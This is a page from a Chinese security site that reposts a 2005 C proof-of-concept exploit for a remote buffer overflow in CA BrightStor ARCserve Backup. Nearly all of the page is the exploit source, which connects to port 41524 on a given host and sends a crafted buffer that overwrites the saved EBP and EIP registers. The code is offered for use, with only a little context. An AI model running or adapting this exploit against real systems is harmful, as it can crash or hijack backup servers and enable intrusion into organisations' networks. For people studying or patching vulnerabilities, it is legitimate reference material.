首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
CA BrightStor ARCserve Backup Remote Buffer Overflow Exploit
来源:www.gmx.net 作者:cybertronic 发布时间:2005-02-12  

CA BrightStor ARCserve Backup Remote Buffer Overflow Exploit

/*
* BrightStor ARCserve Backup buffer overflow PoC
* cybertronic@gmx.net
*
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>

#define RED "\E[31m\E[1m"
#define GREEN "\E[32m\E[1m"
#define YELLOW "\E[33m\E[1m"
#define BLUE "\E[34m\E[1m"
#define NORMAL "\E[m"

#define PORT 41524

void
start ( int s )
{
char buffer[4096];

bzero ( &buffer, 4096 );
memset ( buffer, 0x41, 50 );
buffer[0] = 0x9b;
buffer[1] = 0x53; //S
buffer[2] = 0x45; //E
buffer[3] = 0x52; //R
buffer[4] = 0x56; //V
buffer[5] = 0x49; //I
buffer[6] = 0x43; //C
buffer[7] = 0x45; //E
buffer[8] = 0x50; //P
buffer[9] = 0x43; //C
buffer[17] = 0x18;
buffer[21] = 0xc0;
buffer[22] = 0xa8;
buffer[23] = 0x02;
buffer[24] = 0x67;
buffer[25] = 0x53; //S
buffer[26] = 0x45; //E
buffer[27] = 0x52; //R
buffer[28] = 0x56; //V
buffer[29] = 0x49; //I
buffer[30] = 0x43; //C
buffer[31] = 0x45; //E
buffer[32] = 0x50; //P
buffer[33] = 0x43; //C
buffer[41] = 0x01;
buffer[43] = 0x0c;
buffer[44] = 0x6c;
buffer[45] = 0x93;
buffer[46] = 0xce;
buffer[47] = 0x18;
buffer[48] = 0x18;
//ebp
buffer[49] = 0xbe;
buffer[50] = 0xba;
buffer[51] = 0xad;
buffer[52] = 0xde;
//eip
buffer[53] = 0xde;
buffer[54] = 0xc0;
buffer[55] = 0xad;
buffer[56] = 0xde;

printf ( "[*] Sending buffer [ %d bytes ]...", strlen ( buffer ) );
if ( write ( s, buffer, strlen ( buffer ) ) <= 0 )
{
printf ( RED "Send failed!\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL );
sleep ( 1 );
}

int
main ( int argc, char *argv[] )
{

int s;
struct hostent *he;
struct sockaddr_in addr;

if ( argc != 2 )
{
fprintf ( stderr,"Usage: %s hostname\n", argv[0] );
exit ( 1 );
}


printf ( "Resolving hostname..." );
if ( ( he = gethostbyname ( argv[1] ) ) == NULL )
{
printf ( RED "FAILED!\n" NORMAL );
exit ( 1 );
}
printf ( "OK!\n" );


if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
{
exit ( 1 );
}


addr.sin_family = AF_INET;
addr.sin_port = htons ( PORT );
addr.sin_addr = *( ( struct in_addr * ) he->h_addr );


printf ( "Connecting to %s...", argv[1] );
if ( connect ( s, ( struct sockaddr * ) &addr, sizeof ( struct
sockaddr ) )
== -1 )
{
printf ( RED "FAILED!\n" NORMAL );
exit ( 1 );
}
printf ( "OK!\n" );
start ( s );
close ( s );
return ( 0 );
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Savant Web Server 3.1 Remote B
·Exim 4.x 'spa_base64_to_bits()
·FOXmail POC exploit
·CA BrightStor ARCserve Backup
·MSN Messenger PNG Image Buffer
·CA BrightStor ARCserve Discove
·ASPNuke comments.asp and detai
·PHP-Nuke POST Method Admin Var
·phpBB Knowledge Base模块SQL注
·ELOG Remote Shell Exploit
·BitchX Buffer Overflow
·Prozilla Format String Vulnera
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved